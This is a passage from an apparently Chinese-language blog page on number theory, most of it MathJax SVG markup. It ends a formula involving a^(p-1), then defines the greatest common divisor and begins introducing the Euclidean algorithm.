556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path></g><g data-mml-node="mo" transform="translate(6365.1,0)"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g><g data-mml-node="msup" transform="translate(7420.9,0)"><g data-mml-node="mi"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g><g data-mml-node="TeXAtom" transform="translate(562,363) scale(0.707)" data-mjx-texclass="ORD"><g data-mml-node="mo"><path data-c="2212" d="M84 237T84 250T98 270H679Q694 262 694 250T679 230H98Q84 237 84 250Z"></path></g><g data-mml-node="mn" transform="translate(778,0)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path></g></g></g><g data-mml-node="mo" transform="translate(9158.8,0)"><path data-c="D7" d="M630 29Q630 9 609 9Q604 9 587 25T493 118L389 222L284 117Q178 13 175 11Q171 9 168 9Q160 9 154 15T147 29Q147 36 161 51T255 146L359 250L255 354Q174 435 161 449T147 471Q147 480 153 485T168 490Q173 490 175 489Q178 487 284 383L389 278L493 382Q570 459 587 475T609 491Q630 491 630 471Q630 464 620 453T522 355L418 250L522 145Q606 61 618 48T630 29Z"></path></g><g data-mml-node="msup" transform="translate(10159,0)"><g data-mml-node="mi"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g><g data-mml-node="TeXAtom" transform="translate(562,363) scale(0.707)" data-mjx-texclass="ORD"><g data-mml-node="mi"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g><g data-mml-node="mo" transform="translate(503,0)"><path data-c="2212" d="M84 237T84 250T98 270H679Q694 262 694 250T679 230H98Q84 237 84 250Z"></path></g><g data-mml-node="mn" transform="translate(1281,0)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path></g></g></g><g data-mml-node="mo" transform="translate(12308.2,0)"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g><g data-mml-node="msup" transform="translate(13364,0)"><g data-mml-node="mi"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g><g data-mml-node="TeXAtom" transform="translate(562,363) scale(0.707)" data-mjx-texclass="ORD"><g data-mml-node="mi"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g><g data-mml-node="mo" transform="translate(503,0)"><path data-c="2212" d="M84 237T84 250T98 270H679Q694 262 694 250T679 230H98Q84 237 84 250Z"></path></g><g data-mml-node="mn" transform="translate(1281,0)"><path data-c="32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 3V0H50V19V31Q50 38 56 46T86 81Q115 113 136 137Q145 147 170 174T204 211T233 244T261 278T284 308T305 340T320 369T333 401T340 431T343 464Q343 527 309 573T212 619Q179 619 154 602T119 569T109 550Q109 549 114 549Q132 549 151 535T170 489Q170 464 154 447T109 429Z"></path></g></g></g></g></g></svg></mjx-container></p><h1 id="最大公约数"><a href="#最大公约数" class="headerlink" title="最大公约数"></a>最大公约数</h1><p>对于 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.439ex;" xmlns="http://www.w3.org/2000/svg" width="10.057ex" height="2.193ex" role="img" focusable="false" viewBox="0 -775.2 4445.4 969.2"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45A" d="M21 287Q22 293 24 303T36 341T56 388T88 425T132 442T175 435T205 417T221 395T229 376L231 369Q231 367 232 367L243 378Q303 442 384 442Q401 442 415 440T441 433T460 423T475 411T485 398T493 385T497 373T500 364T502 357L510 367Q573 442 659 442Q713 442 746 415T780 336Q780 285 742 178T704 50Q705 36 709 31T724 26Q752 26 776 56T815 138Q818 149 821 151T837 153Q857 153 857 145Q857 144 853 130Q845 101 831 73T785 17T716 -10Q669 -10 648 17T627 73Q627 92 663 193T700 345Q700 404 656 404H651Q565 404 506 303L499 291L466 157Q433 26 428 16Q415 -11 385 -11Q372 -11 364 -4T353 8T350 18Q350 29 384 161L420 307Q423 322 423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 181Q151 335 151 342Q154 357 154 369Q154 405 129 405Q107 405 92 377T69 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mo" transform="translate(878,0)"><path data-c="2C" d="M78 35T78 60T94 103T137 121Q165 121 187 96T210 8Q210 -27 201 -60T180 -117T154 -158T130 -185T117 -194Q113 -194 104 -185T95 -172Q95 -168 106 -156T131 -126T157 -76T173 -3V9L172 8Q170 7 167 6T161 3T152 1T140 0Q113 0 96 17Z"></path></g><g data-mml-node="mi" transform="translate(1322.7,0)"><path data-c="1D45B" d="M21 287Q22 293 24 303T36 341T56 388T89 425T135 442Q171 442 195 424T225 390T231 369Q231 367 232 367L243 378Q304 442 382 442Q436 442 469 415T503 336T465 179T427 52Q427 26 444 26Q450 26 453 27Q482 32 505 65T540 145Q542 153 560 153Q580 153 580 145Q580 144 576 130Q568 101 554 73T508 17T439 -10Q392 -10 371 17T350 73Q350 92 386 193T423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 180T152 343Q153 348 153 366Q153 405 129 405Q91 405 66 305Q60 285 60 284Q58 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mo" transform="translate(2200.4,0)"><path data-c="2208" d="M84 250Q84 372 166 450T360 539Q361 539 377 539T419 540T469 540H568Q583 532 583 520Q583 511 570 501L466 500Q355 499 329 494Q280 482 242 458T183 409T147 354T129 306T124 272V270H568Q583 262 583 250T568 230H124V228Q124 207 134 177T167 112T231 48T328 7Q355 1 466 0H570Q583 -10 583 -20Q583 -32 568 -40H471Q464 -40 446 -40T417 -41Q262 -41 172 45Q84 127 84 250Z"></path></g><g data-mml-node="msup" transform="translate(3145.2,0)"><g data-mml-node="TeXAtom" data-mjx-texclass="ORD"><g data-mml-node="mi"><path data-c="2124" d="M39 -1Q29 9 29 12Q29 23 60 77T219 337L410 648H364Q261 648 210 628Q168 612 142 588T109 545T97 509T88 490Q85 489 80 489Q72 489 61 503L70 588Q72 607 75 628T79 662T81 675Q84 677 88 681Q90 683 341 683H592Q604 673 604 666Q604 662 412 348L221 37Q221 35 301 35Q406 35 446 48Q504 68 543 111T597 212Q602 239 617 239Q624 239 629 234T635 223Q635 215 621 113T604 8L597 1Q595 -1 317 -1H39ZM148 637L166 648H112V632Q111 629 110 622T108 612Q108 608 110 608T116 612T129 623T148 637ZM552 646Q552 648 504 648Q452 648 450 643Q448 639 266 343T77 37Q77 35 128 35H179L366 339L552 646ZM572 35Q581 89 581 97L561 77Q542 59 526 48L508 37L539 35H572Z"></path></g></g><g data-mml-node="mo" transform="translate(700,363) scale(0.707)"><path data-c="2B" d="M56 237T56 250T70 270H369V420L370 570Q380 583 389 583Q402 583 409 568V270H707Q722 262 722 250T707 230H409V-68Q401 -82 391 -82H389H387Q375 -82 369 -68V230H70Q56 237 56 250Z"></path></g></g></g></g></svg></mjx-container>，定义最大公约数 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex;" xmlns="http://www.w3.org/2000/svg" width="9.345ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 4130.7 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D454" d="M311 43Q296 30 267 15T206 0Q143 0 105 45T66 160Q66 265 143 353T314 442Q361 442 401 394L404 398Q406 401 409 404T418 412T431 419T447 422Q461 422 470 413T480 394Q480 379 423 152T363 -80Q345 -134 286 -169T151 -205Q10 -205 10 -137Q10 -111 28 -91T74 -71Q89 -71 102 -80T116 -111Q116 -121 114 -130T107 -144T99 -154T92 -162L90 -164H91Q101 -167 151 -167Q189 -167 211 -155Q234 -144 254 -122T282 -75Q288 -56 298 -13Q311 35 311 43ZM384 328L380 339Q377 350 375 354T369 368T359 382T346 393T328 402T306 405Q262 405 221 352Q191 313 171 233T151 117Q151 38 213 38Q269 38 323 108L331 118L384 328Z"></path></g><g data-mml-node="mi" transform="translate(477,0)"><path data-c="1D450" d="M34 159Q34 268 120 355T306 442Q362 442 394 418T427 355Q427 326 408 306T360 285Q341 285 330 295T319 325T330 359T352 380T366 386H367Q367 388 361 392T340 400T306 404Q276 404 249 390Q228 381 206 359Q162 315 142 235T121 119Q121 73 147 50Q169 26 205 26H209Q321 26 394 111Q403 121 406 121Q410 121 419 112T429 98T420 83T391 55T346 25T282 0T202 -11Q127 -11 81 37T34 159Z"></path></g><g data-mml-node="mi" transform="translate(910,0)"><path data-c="1D451" d="M366 683Q367 683 438 688T511 694Q523 694 523 686Q523 679 450 384T375 83T374 68Q374 26 402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487H491Q506 153 506 145Q506 140 503 129Q490 79 473 48T445 8T417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157Q33 205 53 255T101 341Q148 398 195 420T280 442Q336 442 364 400Q369 394 369 396Q370 400 396 505T424 616Q424 629 417 632T378 637H357Q351 643 351 645T353 664Q358 683 366 683ZM352 326Q329 405 277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q233 26 290 98L298 109L352 326Z"></path></g><g data-mml-node="mo" transform="translate(1430,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mi" transform="translate(1819,0)"><path data-c="1D45A" d="M21 287Q22 293 24 303T36 341T56 388T88 425T132 442T175 435T205 417T221 395T229 376L231 369Q231 367 232 367L243 378Q303 442 384 442Q401 442 415 440T441 433T460 423T475 411T485 398T493 385T497 373T500 364T502 357L510 367Q573 442 659 442Q713 442 746 415T780 336Q780 285 742 178T704 50Q705 36 709 31T724 26Q752 26 776 56T815 138Q818 149 821 151T837 153Q857 153 857 145Q857 144 853 130Q845 101 831 73T785 17T716 -10Q669 -10 648 17T627 73Q627 92 663 193T700 345Q700 404 656 404H651Q565 404 506 303L499 291L466 157Q433 26 428 16Q415 -11 385 -11Q372 -11 364 -4T353 8T350 18Q350 29 384 161L420 307Q423 322 423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 181Q151 335 151 342Q154 357 154 369Q154 405 129 405Q107 405 92 377T69 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mo" transform="translate(2697,0)"><path data-c="2C" d="M78 35T78 60T94 103T137 121Q165 121 187 96T210 8Q210 -27 201 -60T180 -117T154 -158T130 -185T117 -194Q113 -194 104 -185T95 -172Q95 -168 106 -156T131 -126T157 -76T173 -3V9L172 8Q170 7 167 6T161 3T152 1T140 0Q113 0 96 17Z"></path></g><g data-mml-node="mi" transform="translate(3141.7,0)"><path data-c="1D45B" d="M21 287Q22 293 24 303T36 341T56 388T89 425T135 442Q171 442 195 424T225 390T231 369Q231 367 232 367L243 378Q304 442 382 442Q436 442 469 415T503 336T465 179T427 52Q427 26 444 26Q450 26 453 27Q482 32 505 65T540 145Q542 153 560 153Q580 153 580 145Q580 144 576 130Q568 101 554 73T508 17T439 -10Q392 -10 371 17T350 73Q350 92 386 193T423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 180T152 343Q153 348 153 366Q153 405 129 405Q91 405 66 305Q60 285 60 284Q58 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mo" transform="translate(3741.7,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g></g></g></svg></mjx-container> 为能够整除 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.439ex;" xmlns="http://www.w3.org/2000/svg" width="4.35ex" height="1.439ex" role="img" focusable="false" viewBox="0 -442 1922.7 636"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45A" d="M21 287Q22 293 24 303T36 341T56 388T88 425T132 442T175 435T205 417T221 395T229 376L231 369Q231 367 232 367L243 378Q303 442 384 442Q401 442 415 440T441 433T460 423T475 411T485 398T493 385T497 373T500 364T502 357L510 367Q573 442 659 442Q713 442 746 415T780 336Q780 285 742 178T704 50Q705 36 709 31T724 26Q752 26 776 56T815 138Q818 149 821 151T837 153Q857 153 857 145Q857 144 853 130Q845 101 831 73T785 17T716 -10Q669 -10 648 17T627 73Q627 92 663 193T700 345Q700 404 656 404H651Q565 404 506 303L499 291L466 157Q433 26 428 16Q415 -11 385 -11Q372 -11 364 -4T353 8T350 18Q350 29 384 161L420 307Q423 322 423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 181Q151 335 151 342Q154 357 154 369Q154 405 129 405Q107 405 92 377T69 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mo" transform="translate(878,0)"><path data-c="2C" d="M78 35T78 60T94 103T137 121Q165 121 187 96T210 8Q210 -27 201 -60T180 -117T154 -158T130 -185T117 -194Q113 -194 104 -185T95 -172Q95 -168 106 -156T131 -126T157 -76T173 -3V9L172 8Q170 7 167 6T161 3T152 1T140 0Q113 0 96 17Z"></path></g><g data-mml-node="mi" transform="translate(1322.7,0)"><path data-c="1D45B" d="M21 287Q22 293 24 303T36 341T56 388T89 425T135 442Q171 442 195 424T225 390T231 369Q231 367 232 367L243 378Q304 442 382 442Q436 442 469 415T503 336T465 179T427 52Q427 26 444 26Q450 26 453 27Q482 32 505 65T540 145Q542 153 560 153Q580 153 580 145Q580 144 576 130Q568 101 554 73T508 17T439 -10Q392 -10 371 17T350 73Q350 92 386 193T423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 180T152 343Q153 348 153 366Q153 405 129 405Q91 405 66 305Q60 285 60 284Q58 278 41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container> 的最大整数。对于大数字而言基于因数分解的常规枚举法在计算上并不可行，这里给出一个计算复杂度为 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex;" xmlns="http://www.w3.org/2000/svg" width="16.637ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 7353.3 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D442" d="M740 435Q740 320 676 213T511 42T304 -22Q207 -22 138 35T51 201Q50 209 50 244Q50 346 98 438T227 601Q351 704 476 704Q514 704 524 703Q621 689 680 617T740 435ZM637 476Q637 565 591 615T476 665Q396 665 322 605Q242 542 200 428T157 216Q157 126 200 73T314 19Q404 19 485 98T608 313Q637 408 637 476Z"></path></g><g data-mml-node="mo" transform="translate(763,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mi" transform="translate(1152,0)"><path data-c="6C" d="M42 46H56Q95 46 103 60V68Q103 77 103 91T103 124T104 167T104 217T104 272T104 329Q104 366 104 407T104 482T104 542T103 586T103 603Q100 622 89 628T44 637H26V660Q26 683 28 683L38 684Q48 685 67 686T104 688Q121 689 141 690T171 693T182 694H185V379Q185 62 186 60Q190 52 198 49Q219 46 247 46H263V0H255L232 1Q209 2 183 2T145 3T107 3T57 1L34 0H26V46H42Z"></path><path data-c="6F" d="M28 214Q28 309 93 378T250 448Q340 448 405 380T471 215Q471 120 407 55T250 -10Q153 -10 91 57T28 214ZM250 30Q372 30 372 193V225V250Q372 272 371 288T364 326T348 362T317 390T268 410Q263 411 252 411Q222 411 195 399Q152 377 139 338T126 246V226Q126 130 145 91Q177 30 250 30Z" transform="translate(278,0)"></path><path data-c="67" d="M329 409Q373 453 429 453Q459 453 472 434T485 396Q485 382 476 371T449 360Q416 360 412 390Q410 404 415 411Q415 412 416 414V415Q388 412 363 393Q355 388 355 386Q355 385 359 381T368 369T379 351T388 325T392 292Q392 230 343 187T222 143Q172 143 123 171Q112 153 112 133Q112 98 138 81Q147 75 155 75T227 73Q311 72 335 67Q396 58 431 26Q470 -13 470 -72Q470 -139 392 -175Q332 -206 250 -206Q167 -206 107 -175Q29 -140 29 -75Q29 -39 50 -15T92 18L103 24Q67 55 67 108Q67 155 96 193Q52 237 52 292Q52 355 102 398T223 442Q274 442 318 416L329 409ZM299 343Q294 371 273 387T221 404Q192 404 171 388T145 343Q142 326 142 292Q142 248 149 227T179 192Q196 182 222 182Q244 182 260 189T283 207T294 227T299 242Q302 258 302 292T299 343ZM403 -75Q403 -50 389 -34T348 -11T299 -2T245 0H218Q151 0 138 -6Q118 -15 107 -34T95 -74Q95 -84 101 -97T122 -127T170 -155T250 -167Q319 -167 361 -139T403 -75Z" transform="translate(778,0)"></path></g><g data-mml-node="mo" transform="translate(2430,0)"><path data-c="2061" d=""></path></g><g data-mml-node="TeXAtom" data-mjx-texclass="ORD" transform="translate(2596.7,0)"><g data-mml-node="mo"><path data-c="6D" d="M41 46H55Q94 46 102 60V68Q102 77 102 91T102 122T103 161T103 203Q103 234 103 269T102 328V351Q99 370 88 376T43 385H25V408Q25 431 27 431L37 432Q47 433 65 434T102 436Q119 437 138 438T167 441T178 442H181V402Q181 364 182 364T187 369T199 384T218 402T247 421T285 437Q305 442 336 442Q351 442 364 440T387 434T406 426T421 417T432 406T441 395T448 384T452 374T455 366L457 361L460 365Q463 369 466 373T475 384T488 397T503 410T523 422T546 432T572 439T603 442Q729 442 740 329Q741 322 741 190V104Q741 66 743 59T754 49Q775 46 803 46H819V0H811L788 1Q764 2 737 2T699 3Q596 3 587 0H579V46H595Q656 46 656 62Q657 64 657 200Q656 335 655 343Q649 371 635 385T611 402T585 404Q540 404 506 370Q479 343 472 315T464 232V168V108Q464 78 465 68T468 55T477 49Q498 46 526 46H542V0H534L510 1Q487 2 460 2T422 3Q319 3 310 0H302V46H318Q379 46 379 62Q380 64 380 200Q379 335 378 343Q372 371 358 385T334 402T308 404Q263 404 229 370Q202 343 195 315T187 232V168V108Q187 78 188 68T191 55T200 49Q221 46 249 46H265V0H257L234 1Q210 2 183 2T145 3Q42 3 33 0H25V46H41Z"></path><path data-c="69" d="M69 609Q69 637 87 653T131 669Q154 667 171 652T188 609Q188 579 171 564T129 549Q104 549 87 564T69 609ZM247 0Q232 3 143 3Q132 3 106 3T56 1L34 0H26V46H42Q70 46 91 49Q100 53 102 60T104 102V205V293Q104 345 102 359T88 378Q74 385 41 385H30V408Q30 431 32 431L42 432Q52 433 70 434T106 436Q123 437 142 438T171 441T182 442H185V62Q190 52 197 50T232 46H255V0H247Z" transform="translate(833,0)"></path><path data-c="6E" d="M41 46H55Q94 46 102 60V68Q102 77 102 91T102 122T103 161T103 203Q103 234 103 269T102 328V351Q99 370 88 376T43 385H25V408Q25 431 27 431L37 432Q47 433 65 434T102 436Q119 437 138 438T167 441T178 442H181V402Q181 364 182 364T187 369T199 384T218 402T247 421T285 437Q305 442 336 442Q450 438 463 329Q464 322 464 190V104Q464 66 466 59T477 49Q498 46 526 46H542V0H534L510 1Q487 2 460 2T422 3Q319 3 310 0H302V46H318Q379 46 379 62Q380 64 380 200Q379 335 378 343Q372 371 358 385T334 402T308 404Q263 404 229 370Q202 343 195 315T187 232V168V108Q187 78 188 68T191 55T200 49Q221 46 249 46H265V0H257L234 1Q210 2 183 2T145 3Q42 3 33 0H25V46H41Z" transform="translate(1111,0)"></path></g><g data-mml-node="mo" transform="translate(1667,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mi" transform="translate(2056,0)"><path data-c="1D45A" d="M21 287Q22 293 24 303T36 341T56 388T88 425T132 442T175 435T205 417T221 395T229 376L231 369Q231 367 232 367L243 378Q303 442 384 442Q401 442 415 440T441 433T460 423T475 411T485 398T493 385T497 373T500 364T502 357L510 367Q573 442 659 442Q713 442 746 415T780 336Q780 285 742 178T704 50Q705 36 709 31T724 26Q752 26 776 56T815 138Q818 149 821 151T837 153Q857 153 857 145Q857 144 853 130Q845 101 831 73T785 17T716 -10Q669 -10 648 17T627 73Q627 92 663 193T700 345Q700 404 656 404H651Q565 404 506 303L499 291L466 157Q433 26 428 16Q415 -11 385 -11Q372 -11 364 -4T353 8T350 18Q350 29 384 161L420 307Q423 322 423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 181Q151 335 151 342Q154 357 154 369Q154 405 129 405Q107 405 92 377T69 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mo" transform="translate(2934,0)"><path data-c="2C" d="M78 35T78 60T94 103T137 121Q165 121 187 96T210 8Q210 -27 201 -60T180 -117T154 -158T130 -185T117 -194Q113 -194 104 -185T95 -172Q95 -168 106 -156T131 -126T157 -76T173 -3V9L172 8Q170 7 167 6T161 3T152 1T140 0Q113 0 96 17Z"></path></g><g data-mml-node="mi" transform="translate(3378.7,0)"><path data-c="1D45B" d="M21 287Q22 293 24 303T36 341T56 388T89 425T135 442Q171 442 195 424T225 390T231 369Q231 367 232 367L243 378Q304 442 382 442Q436 442 469 415T503 336T465 179T427 52Q427 26 444 26Q450 26 453 27Q482 32 505 65T540 145Q542 153 560 153Q580 153 580 145Q580 144 576 130Q568 101 554 73T508 17T439 -10Q392 -10 371 17T350 73Q350 92 386 193T423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 180T152 343Q153 348 153 366Q153 405 129 405Q91 405 66 305Q60 285 60 284Q58 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mo" transform="translate(3978.7,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g></g><g data-mml-node="mo" transform="translate(6964.3,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g></g></g></svg></mjx-container> 的方法</p><h2 id="计算-gcd-Euclidean-算法"><a href="#计算-gcd-Euclidean-算法" class="headerlink" title="计算 gcd - Euclidean 算法"></a>计算 gcd - Euclidean 算法</h2><p>对于<mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.312ex;" xmlns="http://www.w3.org/2000/svg" width="6.361ex" height="1.751ex" role="img" focusable="false" viewBox="0 -636 2811.6 774"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45A" d="M21 287Q22 293 24 303T36 341T56 388T88 425T132 442T175 435T205 417T221 395T229 376L231 369Q231 367 232 367L243 378Q303 442 384 442Q401 442 415 440T441 433T460 423T475 411T485 398T493 385T497 373T500 364T502 357L510 367Q573 442 659 442Q713 442 746 415T780 336Q780 285 742 178T704 50Q705 36 709 31T724 26Q752 26 776 56T815 138Q818 149 821 151T837 153Q857 153 857 145Q857 144 853 130Q845 101 831 73T785 17T716 -10Q669 -10 648 17T627 73Q627 92 663 193T700 345Q700 404 656 404H651Q565 404 506 303L499 291L466 157Q433 26 428 16Q415 -11 385 -11Q372 -11 364 -4T353 8T350 18Q350 29 384 161L420 307Q423 322 423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 